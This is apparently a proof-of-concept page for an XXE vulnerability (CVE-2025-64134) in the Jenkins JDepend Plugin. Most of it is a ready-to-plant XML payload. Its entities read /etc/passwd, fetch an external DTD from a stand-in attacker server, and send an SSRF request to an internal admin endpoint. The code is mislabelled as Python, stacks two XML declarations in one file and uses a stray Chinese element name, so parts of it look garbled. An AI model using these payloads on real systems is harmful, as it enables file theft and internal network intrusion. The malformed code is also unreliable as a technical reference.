Jenkins JDepend Plugin 1.3.1 and earlier includes an outdated version of JDepend Maven Plugin that does not configure its XML parser to prevent XML external entity (XXE) attacks.
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2025-64134: Jenkins JDepend Plugin XXE -->
<!-- This PoC demonstrates how an attacker can exploit the XXE vulnerability -->
<!-- Usage: Place this XML file in a project directory that Jenkins will analyze -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE jdepend [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
<!ENTITY xxe2 SYSTEM "http://attacker-controlled-server/xxe.dtd">
]>
<jdepend>
<packages>
<package name="com.example.vulnerable">
<度量>&xxe;</度量>
</package>
</packages>
</jdepend>
<!-- For SSRF attack -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY file SYSTEM "http://internal-network-server:8080/admin">
]>
<data>&file;</data>